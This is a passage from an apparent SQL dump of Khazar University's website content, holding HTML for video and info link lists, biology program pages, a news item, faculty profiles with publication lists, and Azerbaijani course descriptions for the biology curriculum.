href=\"http://www.youtube.com/watch?v=4DR3JMze20A&amp;feature=player_embedded\"><strong>Bakı gecələri</strong></a></li></ul><p>&nbsp;</p><ul><li><a href=\"http://www.youtube.com/watch?feature=player_embedded&amp;v=cxQ6o0C0Duo\"><strong>Bakı gecələri</strong></a></li><li></li></ul></blockquote></blockquote>  <br></div>'),(800,549,'en','Videos','Videos','<div><br></div><div><br></div><div><ul><li><strong><a href=\"http://www.youtube.com/watch?feature=player_embedded&amp;v=ErosULW7h3g\">Eurovision 2012: Welcome to the Baku, Azerbaijan</a></strong></li></ul>  <br></div><div><br></div><div><br></div><div><ul><li><a href=\"http://www.youtube.com/watch?feature=player_embedded&amp;v=Wj9TKHRsKAw\"><strong>Azerbaijan-The Land of Fire&nbsp;</strong></a></li></ul>  <br></div><div><br></div><div><ul><li><a href=\"http://www.youtube.com/watch?v=cWbuvZnJOTk&amp;feature=player_embedded\"><strong>Welcome to Baku, Azerbaijan: Sunny City</strong></a></li></ul>  <br></div><div><br></div><div><ul><li><strong><a href=\"http://www.youtube.com/watch?feature=player_embedded&amp;v=sW_Knsi5ps8\">Flying in Azerbaijan</a></strong></li></ul>  <br></div><div><br></div><div><ul><li><strong><a href=\"http://www.youtube.com/watch?v=3TdZch1Ovxo&amp;feature=player_embedded\">Welcome To Azerbaijan</a></strong></li></ul>  <br></div><div><br></div><div><ul><li><strong><a href=\"http://www.youtube.com/watch?v=ioeMDDQm1a0&amp;feature=player_embedded\">Welcome To Azerbaijan - 2011</a></strong></li></ul><p>&nbsp;</p><ul style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:disc\"><p style=\"margin:0px 0px 10px;padding:0px;font-size:medium\"><strong style=\"font-family:arial, helvetica, sans-serif\">&nbsp; <a href=\"http://www.youtube.com/watch?feature=player_embedded&amp;v=C5_zl6UqTuM\">Baku&nbsp; Nights</a></strong>  <span style=\"font-family:arial, helvetica, sans-serif\"><br></span></p></li></ul><p>&nbsp;</p><ul><li><a href=\"http://www.youtube.com/watch?v=4DR3JMze20A&amp;feature=player_embedded\"><strong>Baku&nbsp; Nights</strong></a></li></ul><p>&nbsp;</p><ul><li><a href=\"http://www.youtube.com/watch?feature=player_embedded&amp;v=cxQ6o0C0Duo\"><strong>Baku&nbsp; Nights</strong></a></li></ul>  <p><br></p><p><br></p></div><div>  <br></div>'),(801,550,'en',' Info Links',' Info Links','<h3 style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://en.wikipedia.org/wiki/Azerbaijan\">Azerbaijan - Wikipedia, the free encyclopedia</a></h3><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><h3 style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.azerbaijan.com/\">Azerbaijan - Travel Information and Guide</a></h3><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><h3 style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://en.wikipedia.org/wiki/Baku\">Baku - Wikipedia, the free encyclopedia</a></h3><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong><a href=\"http://xaricdetehsil.edu.gov.az/\">Study Abroad</a></strong></p>'),(802,550,'az','Məlumat linkləri','Məlumat linkləri','<div><br></div><div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><div><p><strong><a href=\"http://az.wikipedia.org/wiki/Az%C9%99rbaycan\">Azərbaycan - Vikipediya, ensiklopediya</a></strong></p><p><strong><a href=\"http://www.azerbaijan.com/\">Azərbaycan - Səyahət informasiya və bələdçisi</a></strong></p><p><strong><a href=\"http://az.wikipedia.org/wiki/Bak%C4%B1\">Bakı - Vikipediya, ensiklopediya</a></strong></p><p><a href=\"http://edu.gov.az/view.php?lang=az&amp;menu=0\"><strong>Azərbaycan Respublikası Təhsil nazirliyi</strong></a></p><p><strong><a href=\"http://tqdk.gov.az/\">Tələbə Qəbulu üzrə Dövlət Komissiyası</a></strong></p><p><strong><a href=\"http://xaricdetehsil.edu.gov.az/\">Xaricdə Təhsil Üzrə Dövlət Proqramı</a></strong></p><div><br></div></div></div>  <br></div>'),(803,551,'en','Programs','Programs','<p><a href=\"http://www.khazar.org/files/biolog_depart/NewFolder/Biology_education.pdf\"><strong>Bachelor\'s Degree Program in Biology Education</strong></a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/NewFolder/BS_Chemistry_and_Biology_Education.pdf\"><strong>Bachelor\'s Degree Program in Chemistry and Biology Education</strong></a> </p>'),(2511,1516,'az','Uğurlu “start-up” qurulması ilə bağlı görüş keçirildi','2016-cı il noyabrın 1-də İsraildən olan “start-up” mütəxəssisi cənab Tal Catran Xəzər Universitetində oldu və universitetin heyəti ilə görüşüb İsarailin “start-up” təcrübəsini bölüşdü...','<p>2016-cı il\r\nnoyabrın 1-də İsraildən olan “start-up” mütəxəssisi cənab Tal Catran Xəzər\r\nUniversitetində oldu və universitetin heyəti ilə görüşüb İsarailin “start-up” təcrübəsini\r\nbölüşdü. O, İsrailin bu sahədə uğurlar qazanmasının əsas səbəblərinə toxundu və\r\nuğurlu “start-up” qurmağın yolları haqqında fikirlərini bölüşdü. </p>\r\n<p>Qonağa Xəzər\r\nUniversitetinin Texnoparkı və digər innovativ ideyalar barəsində məlumat\r\nverildi. Görüşdə Xəzər Universitetinin Siyasi elm və beynəlxalq əlaqələr\r\ndepartamentinin müdiri Dr. Muxtar Hacızadə, İnkişaf Mərkəzinin Direktoru Raziyə\r\nİsayeva, İqtisadiyyat və menecment fakültəsinin dekanı Dr. İnqilab Əhmədov,\r\nİqtisadiyyat və menecment departamentinin müdiri Dr. Ceyhun Məmmədov, Neft mühəndisliyi\r\ndepartamentinin müdiri Dr. Qəşəm Zeynalov, İsarail Aerokosmik Sənayesi Mərkəzindən\r\nxanım Lina Michaeli və İsarilin Bakıdakı səfirliyindən cənab Amir Rom iştirak\r\nedirdilər.&nbsp;</p>'),(2042,1241,'en','Javid Ojaghi','Javid Ojaghi','<p><br></p><p><span style=\"color:#000000\">Email:</span>&nbsp;<a href=\"mailto:javid.ojaghi@khazar.org\">javid.ojaghi@khazar.org</a></p> <p>Tel: +994 12 421 6335 (242)</p><p><img src=\"/files/image/cavid%20ocaq.JPG\" style=\"width:150px;height:166px;margin:7px;float:right\"><strong>Dr. Javid Ojaghi</strong>\r\ngraduated with a master degree in plant breeding field from the Iran Azad\r\nUniversity in 2000-2003. In 2006-2009, he successfully defended his Ph.D.\r\nthesis on “Genetics” at the Department of “Genetics and Theory of Evolution”, Baku\r\nState University. He is currently working as an associated professor at\r\nBiotechnology Department of Genetic Resources Institute of ANAS and his main\r\nactivations consist of plant genetic resources passportization, study of\r\ngenetic diversity, screening genes for resistance or tolerance to various\r\nstress factors, association mapping of quantitative and qualitative traits and\r\nalso detection of genetically modified plants. Dr. Ojaghi is teaching\r\n“Biometrics 1”, “Biometrics 2”, “Experimental design” and “Molecular biology” for\r\n“Genetics” and “Plant breeding” specialty at postgraduate level in Genetic\r\nResources Institute of ANAS and also for bachelor degree in Khazar University. He\r\nhas published 84 scientific papers (43 articles and 41 conference materials),\r\nwhich 24 of them have published in international journals with impact factors,\r\nmore than 100 of them have been cited. </p>\r\n<p><strong><em>Doctor\r\nof Science thesis:</em></strong></p>\r\n<p>Identification\r\nof candidate genes for drought tolerance and resistance by sequencing and\r\nstudying of genetic diversity in barley by GBS analysis (genotyping by\r\nsequencing)</p>\r\n<p><strong><em>Grant project: </em></strong><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </strong></p>\r\n<p>Analysis\r\nof chloroplast genome, whole transcriptome and De Novo sequencing (whole\r\ngenome) of Azerbaijan wild and local pomegranate varieties by next generation\r\nsequencing</p>\r\n<p><strong><em>Professional\r\nExperiences</em></strong></p>\r\n<p>1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nFamiliar\r\nwith field and greenhouse experiment and plant breeding lab, PCR and molecular\r\nmarkers (RAPD, SSR, ISSR and AFLP)</p>\r\n<p>2.&nbsp;&nbsp;&nbsp;&nbsp;\r\nFamiliar\r\nwith general and statistical computer software (<em>MSTATC, SPSS, NTSYS, POPGEN,\r\nGENSTAT, MAPMANAGER, POWER MARKER, PHOTOCAPT, DIAL98, BIOEDIT, CHROMAS, MEGA</em>)</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:2.0in;text-indent:-2.0in\"\"=\"\">&nbsp;<strong><em>Training courses and workshop</em></strong></p>\r\n<p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLearning running process of Ion Torrent\r\nand Ion PGM sequencing machine and library preparation, UMR-1332 Biologie du\r\nFruit et Pathologie, INRA, France, 2014;&nbsp;</p>\r\n<p style=\"\" margin-left:35.45pt;text-align:justify;text-indent:-14.15pt\"=\"\">2.&nbsp;\r\nStudying NGS (Next generation\r\nsequencing) principles and data analyzing by bioinformatics and statistics\r\nmethods, UMR-1332 Biologie du Fruit et Pathologie, INRA, France, 2014;&nbsp; </p>\r\n<p style=\"\" margin-left:35.45pt;text-align:justify;text-indent:-14.15pt\"=\"\">3.&nbsp;\r\nAnalysis of Genetically Modified\r\nOrganisms (GMOs) in food materials, RIKILT Wageningen;</p>\r\n<p>4.&nbsp; “Bioinformatics\r\nand gene cloning” National Institute of Genetic\r\nEngineering &amp; Biotechnology, Novin Giti Gene, 2013;</p>\r\n<p><strong><em>Selected\r\npublications</em></strong></p>\r\n<p class=\"Default\" style=\"\" margin-left:.5in;text-align:justify;text-indent:-.25in\"=\"\">1.&nbsp;&nbsp;&nbsp;&nbsp; S.J.Salayeva, <strong>J.М.Ojaghi</strong>, А.N.Pashayeva,\r\nV.I.Izzatullayevа, E.M.Akhundova and Z.I.Akperov. <strong>2016</strong>. GENETIC\r\nDIVERSITY OF VITIS VINIFERA L. IN AZERBAIJAN. Russian Journal of Genetics\r\n(Springer). Vol. 52, No. 4, pp. 391–397 </p>\r\n<p class=\"Default\" style=\"\" margin-left:.5in;text-align:justify;text-indent:-.25in\"=\"\">2.&nbsp;&nbsp;&nbsp;&nbsp; Gulnar Shikhseyidova, Ellada Akhundova, Rauf Quliyev,\r\nRoham Eshghi, Samira Salayeva, <strong>Javid Ojaghi</strong>. <strong>2015</strong>. Molecular\r\nDiversity and Genetic Structure of Durum Wheat Landraces. Albanian j. agric.\r\nsci. 14 (2): 112-120 </p>\r\n<p class=\"Default\" style=\"\" margin-left:.5in;text-align:justify;text-indent:-.25in\"=\"\">3.&nbsp;&nbsp;&nbsp;&nbsp; Jamala Mursalova, Zeynal Akparov, <strong>Javid Ojaghi</strong>,\r\nMahammad Eldarov, Savaş Belen, Nurberdi Gummadov, Alexey Morgounov. <strong>2015</strong>.\r\nEvaluation of drought tolerance of winter bread wheat genotypes under drip\r\nirrigation and rain-fed conditions. Turkish Journal of Agriculture and\r\nForestry. 39: 1-8 </p>\r\n<p class=\"Default\" style=\"\" margin-left:.5in;text-align:justify;text-indent:-.25in\"=\"\">4.&nbsp;&nbsp;&nbsp;&nbsp; Vusala Izzatullayeva, Zeynal Akparov, Sevda Babayeva, <strong>Javid\r\nOjaghi </strong>and Mehraj Abbasov. <strong>2014</strong>. Efficiency of using RAPD and ISSR\r\nmarkers in evaluation of genetic diversity in sugar beet. Turkish Journal of\r\nBiology. 38: 429-438. </p>\r\n<p class=\"Default\" style=\"\" margin-left:.5in;text-align:justify;text-indent:-.25in\"=\"\">5.&nbsp;&nbsp;&nbsp;&nbsp; S. Sadigova, H. Sadigov, R. Eshghi, S. Salayeva and <strong>J.\r\nOjaghi</strong>. <strong>2014</strong>. Application of RAPD and ISSR markers to analyses\r\nmolecular relationships in Azerbaijan wheat accessions (<em>Triticum aestivum </em>L.).\r\nBulgarian Journal of Agricultural Science, 20 (№ 1) 2014, 97-105. </p>\r\n<p class=\"Default\" style=\"\" margin-left:.5in;text-align:justify;text-indent:-.25in\"=\"\">6.&nbsp;&nbsp;&nbsp;&nbsp; Roham Eshghi , Samira Salayeva , Farshad Ebrahimpour ,\r\nMonireh Rahimi , Morteza Barayy, <strong>Javid Ojaghi</strong>. <strong>2013. </strong>Advanced-backcross\r\nQTL analysis in hulless barley: I. Detection of exotic alleles for yield and\r\nyield components introgressed from <em>Hordeum vulgare ssp. Spontaneum</em>.\r\nInternational Journal of Agriculture and Crop Sciences. 5-2, 95-100. </p>\r\n<p class=\"Default\" style=\"\" margin-left:.5in;text-align:justify;text-indent:-.25in\"=\"\">7.&nbsp;&nbsp;&nbsp;&nbsp; Eshghi, R., <strong>Ojaghi, J</strong>., Salayeva, S. <strong>2011. </strong>Genetic\r\ngain through selection indices in hulless barley. International Journal of\r\nAgriculture &amp; Biology. 13: 191-197. </p>\r\n<p class=\"Default\" style=\"\" margin-left:.5in;text-align:justify;text-indent:-.25in\"=\"\">8.&nbsp;&nbsp;&nbsp;&nbsp; <strong>Ojaghi, J., </strong>Akhundova,\r\nE. <strong>2010. </strong>Genetic diversity of gliadin pattern, morphological traits and\r\nbaking quality in doubled haploid wheat. African Journal of Biotechnology. 9:\r\n956-966<strong>. </strong></p>\r\n<p class=\"Default\" style=\"\" margin-left:.5in;text-align:justify;text-indent:-.25in\"=\"\">9.&nbsp;&nbsp;&nbsp;&nbsp; Mohammad Zaefizadeh, Shahzad Jamaati‑e‑Somarin, <strong>Javid\r\nOjaghi, </strong>Seyed Mehdi Seyedi, Roghayyeh Zabihi‑e‑Mahmoodabad and Mehran Ochi.\r\n<strong>2010. </strong>Genetic diversity for gliadin patterns of durum wheat landraces in\r\nthe Northwest of Iran and Azerbaijan. Pesq. agropec. bras. Brasília, v.45\r\n(12):1425-1432 </p>\r\n<p class=\"Default\" style=\"\" margin-left:.5in;text-align:justify;text-indent:-14.7pt\"=\"\">10.&nbsp; <strong>Ojaghi, J., </strong>Akhundova,\r\nE. <strong>2010. </strong>Genetic diversity in doubled haploid wheat according to the\r\nacid-PAGE method, morphological traits, and baking quality. Turkish Journal of\r\nBiology. 34: 343-353. <strong>&nbsp; &nbsp;</strong></p>'),(1979,1207,'az','Zaur Karimov','Zaur Karimov',''),(1980,1207,'en','Zaur Karimov','Zaur Karimov','<div><br></div><div><p><strong>Kərimov Z.M.</strong>, Hüseynova L.A.,Yusifova A.Ə.,Muradov P.Z. Mikromüxtəlifliyin\r\nöyrənilməsində istifadə edilən metodların effektivliyi./“Ekologiya və həyat fəaliyyətinin\r\nmühafizəsi” mövzusunda VII beynəlxalq elmi konfransın materialları.Sumqayıt,\r\n2012, s.93-95</p>\r\n<p><strong>Kərimov Z.M.</strong>, Hüseynova L.A.,Yusifova A.Ə.,Muradov P.Z. Mikromüxtəlifliyin\r\nöyrənilməsində istifadə edilən metodların effektivliyi./“Ekologiya və həyat fəaliyyətinin\r\nmühafizəsi” mövzusunda VII beynəlxalq elmi konfransın materialları. Sumqayıt,\r\n2012, s.93-95.</p>\r\n<p><strong>Kərimov Z.M.</strong>, Yusifova A.Ə., Əbilova A.L. Müxtəlif materialların\r\nmikrobiotasının öyrənilməsi üçün metodun seçilməsi.//AMEA-nın Mikrobiologiya\r\nİnstitutunun elmi əsərləri. Bakı: “Elm” nəşriyyatı, 2012, c.10, № 2, s.47-50</p>\r\n<p>Muradov P.Z.,İbrahimov E.A., Əliyev İ.Ə.,<strong>Kərimov Z.M.</strong>, İsmaylov R.Q. Müxtəlif təyinatlı bitki\r\nmateriallarının mikoloji təhlükəsizliyi./ “XXI əsrdə biologiyanın\r\naktual problemləri” mövzusunda Respublika elmi konfransının materialları. Bakı, 2010, s.240-242</p>\r\n<p>Еюбов Б.Б., Гаджиева Н.Ш., Меджнунова А.А., <strong>Керимов З.М.</strong>, Гахраманова Ф.Х., Рзаева А.А. Микобиота растительных\r\nматериалов, используемых для различных целей в условиях Азербайджана.//Вестник\r\nМГОУ, серия «Естественные науки», 2010, №4, с.55-57</p>\r\n<p>Меджнунова А.А., <strong>Керимов З.М.</strong>,\r\nИсмаилов Р.Г. и др. Микобиота некоторых растительных материалов, используемых в\r\nпищевых, кормовых и лечебных цельях.//Иммунопатология, аллергология,\r\nинфектология, 2010, № 1, с.69-70</p>\r\n<p>Гаджиева Н.Ш., Курбанов Э.М., Мурадов П.З., Мамедова Ф.Р., <strong>Керимов З.М.</strong> Видовой состав и встречаемость\r\nгрибов, распространенных в лекарственных растениях Азербайджана.//Труды\r\nИнститута Микробиологии НАН Азербайджана. Баку: Из-во «Элм», 2010, т.8,\r\nс.184-187.</p>\r\n<p>Zeynallı K.S., <strong>Kərimov Z.M.</strong>, Cəbrayılzadə\r\nS.M., Qəhrəmanova F.X. Yaşayış binalarının və müxtəlif təyinatlı obyektlərin\r\nmikobiotası// AMEA-nın Botanika İnstitutunun elmi əsərləri. Bakı:”Elm” nəşriyyatı,\r\n2009, c.29, с.693-697. 73.</p>\r\n<p><strong>Керимов З.М.</strong>, Гараюсифова А.К., Мурадов П.З. Взаимоотношения\r\nмикроорганизмов как метод селективного выделения грибов из почвы./ Материалы\r\nРеспубликанской научной конференции по теме «Научные достижения в биологии».\r\nБаку, 2009,с.182-183.</p>\r\n<p>Zeynallı K.S., Cəbrayılzadə S.M., <strong>Kərimov\r\nZ.M.</strong>, Quliyeva S.M. Bəzi inşaat materiallarının mikobiotası//AMEA-nın\r\nMikrobiologiya İnstitutunun elmi əsərləri. Bakı:”Elm” nəşriyyatı, 2008, c.6,\r\ns.376-379</p>\r\n<p>Hüseynova L.A., Əliyeva H.A.,<strong>Kərimov\r\nZ.M.</strong>Torpaqların mikromüxtəlifliyinin öyrənilməsi üçün metodun seçilməsi.//AMEA-nın\r\nMəruzələri, 2008, LXIV c., N5, s.108-112.</p>  <br></div>'),(804,551,'az','Proqramlar','Proqramlar','<p><strong><a href=\"http://www.khazar.org/files/biolog_depart/NewFolder/Biology_Programme%20(1).pdf\">Biologiya Müəllimliyi\r\nüzrə Bakalavr Proqramı</a></strong></p><p><a href=\"http://www.khazar.org/files/biolog_depart/NewFolder/Kimya%20v%C9%99%20Biologiya%20M%C3%BC%C9%99llimliyi%20%C3%BCzr%C9%99%20Bakalavr%20Proqram%C4%B1%20(1).pdf\"><strong>Kimya və&nbsp;Biologiya Müəllimliyi üzrə Bakalavr Proqramı</strong> </a> </p>'),(805,552,'az','Fənlərin Təsviri','Fənlərin Təsviri','<p style=\"text-align:left\"><strong style=\"text-align:justify\">MƏCBURİ FƏNLƏR:</strong></p><p style=\"text-align:left\"><strong>BİO 101: Ümumi Biologiya (6 AKKS)</strong></p><p style=\"text-align:left\"><strong>Prerekviziti: Yox</strong></p><p style=\"text-align:left\">Bu fənn biologiyaya giriş səviyyəsində üç mühüm aspekti əhatə edir. İlkin olaraq hüceyrənin strukturu, kimyəvi tərkibi, tənəffüsü, fotosintez, hüceyrə fəaliyyətində nəzarət, nüvə və sitoplasmanın rolu öyrənilir. İkinci hissədə əsas genetik anlayışlar, üçüncü hissədə isə orqanizm səviyyəsində bioloji fəaliyyət, yəni orqanizmin müxtəlif hissələrinin strukturu və funksiyası, davranışı, onu əhatə edən bioloji və fiziki mühitə cavab reaksiyaları, o cümlədən təkamülü öyrənilir.</p><div style=\"text-align:left\"><br></div><p style=\"text-align:left\"><strong>BİO 105: Botanika 1 (6 AKKS)</strong></p><p style=\"text-align:left\"><strong>Prerekviziti: Yox</strong></p><p style=\"text-align:left\">Bu fənn çərçivəsində ibtidai bitki orqanizmlərinin quruluşu, inkişafı, ekologiyası, taksonomik müxtəlifliyi, mənşəyi, biocoğrafiyası, Yer üzərində yayılması, təbiətdə oynadığı rolu və əhəmiyyəti təsvir edilir. Fənnin tədrisi zamanı müasir elmi nəticələr nəzərə alınmaqla, müxtəlif sistematik qrupların inkişaf qanunauyğunluqları və təkamül dəyişiklikləri, bitki qruplaşmaları haqqında təsəvvürlər formalaşdırılır.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO 205: Botanika 2 <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: BİO 105</strong></p><p style=\"text-align:left\">Bu fənn çərçivəsində ali bitki orqanizmlərinin quruluşu, çoxalması, müxtəlifliyi, Yer üzərində yayılması, təbiətdə oynadığı rolu və əhəmiyyəti öyrənilir. Fənnin tədrisi zamanı müasir elmi nəticələr nəzərə alınmaqla, müxtəlif sistematik qrupların inkişaf qanunauyğunluqları və təkamül dəyişiklikləri, bitki qruplaşmaları haqqında təsəvvürlər formalaşdırılır.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO 201: Zoologiya 1 <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: Yox</strong></p><p style=\"text-align:left\">Bu kurs onurğasız heyvanların (o cümlədən ibtidailərin) təsnifatını, müqayisəli sistematikasını, morfologiyasını, mənşəyini, Yer üzərində yayılmasını və ekosistemdəki rolunu təsvir edir. Laboratoriyada bəzi ibtidailərin preparatları üzərində onların quruluşları tədqiq edilir.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO 202: Zoologiya 2 <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: BİO 201</strong></p><p style=\"text-align:left\">Bu kurs xordalı heyvanların quruluşu, həyat fəaliyyəti, ekologiyası və müxtəlifliyini təsvir edir. Kursun öyrənilməsi zamanı xordalılar tipinin sistemi və həcmi, morfo-funksional xüsusiyyətləri, müxtəlif yarımtiplərinin və siniflərinin sistematikası, təkamülü, adaptasiya müxtəliflikləri, biosenozlardakı rolu və əhəmiyyəti haqqında təsəvvürlər formalaşdırılır.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO 215: Sitologiya <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: Yox</strong></p><p style=\"text-align:left\">Sitologiya kursu hüceyrələrin ümumi quruluşunu, funksional xüsusiyyətlərini, onların ibtidai və ali orqanizmlərdə rolunu təsvir edir. Kursun gedişində sitoloji texnika, hüceyrənin struktur komponentləri (plazmalemma, orqanoidlər, nüvə, sitoskelet, sitoplazmatik əlavələr), hüceyrənin həyat tsikli, o cümlədən çoxalması, qocalması və ölümü haqqında ətraflı məlumat verilir. Kursun tədrisi mühazirələr və hazır mikropreparatların tədqiqinə əsaslanan laborator məşğələlər şəklində aparılır.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO 220: Histologiya <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: BİO 215</strong></p><p style=\"text-align:left\">Bu kursun gedişində orqanizmi təşkil edən toxumaların ümumi morfoloji-funksional xüsusiyyətləri öyrənilir. Dörd əsas toxuma növü olan epiteli, birləşdirici, əzələ və sinir toxumalarının qısa inkişaf mexanizmləri, özünəməxsus quruluş xüsusiyyətləri və funksional əhəmiyyətləri araşdırılır. Kursun tədrisi mühazirələr və hazır mikropreparatların tədqiqinə əsaslanan laborator məşğələlər şəklində aparılır.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO 225: Bitki Fiziologiyası <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: BİO 205</strong></p><p style=\"text-align:left\">İbtidai və ali bitkilərin orqanizmlərində baş verən mühüm həyat proseslərini, yəni bitkilərin struktur və funksiyalarının əlaqəliliyini, onların qida mənbələrini, enerji &nbsp;tələblərini, suyun və mineralların hərəkətini, bitkilərin böyüməsi və inkişafını, həyati proseslərin qanunauyğunluqlarını və bu qanunauyğunluqlardan istifadə olunmaqla onların idarə olunmasını, həmçinin bitki fiziologiyası tədqiqatlarının təbiətdə və kənd təsərrüfatında əhəmiyyətini təsvir edir.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO301: Biokimya <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: CHEM 208</strong></p><p style=\"text-align:left\">Biokimya kursu canlılar haqqında bütün elmləri əhatə edərək, toxuma və hüceyrələrin kimyəvi tərkibini, yəni nuklein turşuları, fermentlər, zülallar, karbohidratlar, lipidlər və vitaminlər daxil olmaqla bütün bioloji molekulların struktur və funksiyalarının öyrənilməsini əhatə edir. Bu kurs həmçinin qlikoliz, fermentasiya, tənəffüs, yağ turşularının oksidləşməsi və fotosintez daxil olmaqla metabolizm yollarını və bioenerjinin alınma yollarını öyrənir. Kursun tədrisi zamanı laboratoriyada müvafiq təcrübələr aparılır.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO305: İnsan və Heyvan Fiziologiyası <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: BİO 202</strong></p><p style=\"text-align:left\">Bu kurs hüceyrə fiziologiyasının əsasları, oyanma qabiliyyətli toxumaların və əzələlərin fiziologiyası, sinir sisteminin ümumi və xüsusi fiziologiyası, analizatorların fiziologiyası və daxili sekresiya vəziləri, qan, ürək-damar, qan dövranı, tənəffüs, həzm, sidik-ifrazat, maddələr və enerji mübadiləsi, bədən temperaturu və tənzimi, əməyin fiziologiyası, ekoloji fiziologiya, qocalıq və qocalma, ali sinir fəaliyyətinin öyrənilməsini əhatə edir.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO310: İnsan Anatomiyası <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: Yox</strong></p><p style=\"text-align:left\">Bu kurs normal insan orqanizminin makroskopik quruluşunu ayrı-ayrı sistemlər üzrə tədrisini əhatə edir. Kursun gedişində müxtəlif əyani vəsaitlərin istifadəsi ilə tələbələrə dayaq-hərəkət aparatı, daxili orqanlar, əzələ sistemi, endokrin sistem, immun müdafiə sistemi, sinir sistemi, duyğu orqanları, dəri örtüyü sistemi, ürək-damar sistemi və sidik-cinsiyyət aparatına daxil olan orqanların anatomik quruluşu, onların topoqrafiyası, yaş xüsusiyyətləri, qan və sinir təchizi və s. haqqında məlumatlar verilir. İnsan anatomiyası kursunun tədrisi mühazirə və praktik məşğələlər şəklində həyata keçirilir.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO402: Genetika və Seleksiya <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: BİO101</strong></p><p style=\"text-align:left\">Bu kurs çərçivəsində canlının bütün quruluş səviyyələrində irsiyyət və dəyişkənliyinin mexanizmləri öyrənilir, genetikanın irsiyyət və dəyişkənlik haqqında ümumi qanunları əsasında molekulyar genetika, cinsiyyətin genetikası və seleksiyanın genetik metodları araşdırılır. Bu kursun tədrisi həmçinin əsas təkamül nəzəriyyələrini, növəmələgəlmə konsepsiyası və təkamülün genetik əsaslarını da əhatə edir.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO410: Mikrobiologiya <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: BİO101</strong></p><p style=\"text-align:left\">Bu kurs özündə bir sıra müstəqil və bir-birilə sıx əlaqədə olan – bakteriologiya, virusologiya, mikologiya, protozoologiya, virusologiya və s. fənləri birləşdirən inteqral bir fənn olaraq, mikroorqanizmlərin morfologiyası, təsnifatı, fiziologiyası, genetikası və ekologiyasının öyrənilməsini əhatə edir. Həmçinin, antibiotiklər, infeksiya və immunitet haqqında ümumi bilikləri izah edir.</p><p style=\"text-align:left\">&nbsp;</p><p style=\"text-align:left\"><strong>BİO405: Ekologiya və Təkamül Biologiyası <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: BİO402</strong></p><p style=\"text-align:left\">Bu kursun tədrisi zamanı planetimizdə mövcud olan həyat fenomeninin əsas xüsusiyyətləri, canlı materiyanın makromolekulyar, hüceyrə, orqanizm, populyasiya, ekosistem və biosfer səviyyələrində baş verən mühüm bioloji prosesləri öyrənilir. Fənn həmçinin biomüxtəlifliyin quruluşu, müasir təkamül nəzəriyyəsinin müddəaları haqqında bilikləri də əhatə edir.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>BİO408: Molekulyar Biologiya <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: BİO301</strong></p><p style=\"text-align:left\">Fənn biopolimerlərin – zülalların və nuklein turşularının strukturu, xassələri və funksiyaları, genetik informasiyanın ötürülməsi və realizasiyası mexanizmləri haqqında bilikləri əhatə edir. Fənn çərçivəsində həmçinin viruslar, pro- və eukariotların genomlarının quruluşu haqqında təsəvvürlər formalaşdırılır, müasir molekulyar bioloji metodlarla nəzəri və praktiki tanışlıq həyata keçirilir.</p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>SEÇMƏ FƏNLƏR:</strong></p><p style=\"text-align:left\"><strong>BİO315: İnkişafın Biologiyası <strong>(6&nbsp;AKKS)</strong>  </strong></p><p style=\"text-align:left\"><strong>Prerekviziti: Yox</strong></p><p style=\"text-align:left\">İnkişafın biologiyası – çoxhüceyrəli orqanizmlərin qametogenezdən başlayan ontogenezinin qanunauyğunluqları haqqında elmdir. Əsasən, insan orqanizminin inkişafının ümumi qanunauyğunluqları tədris 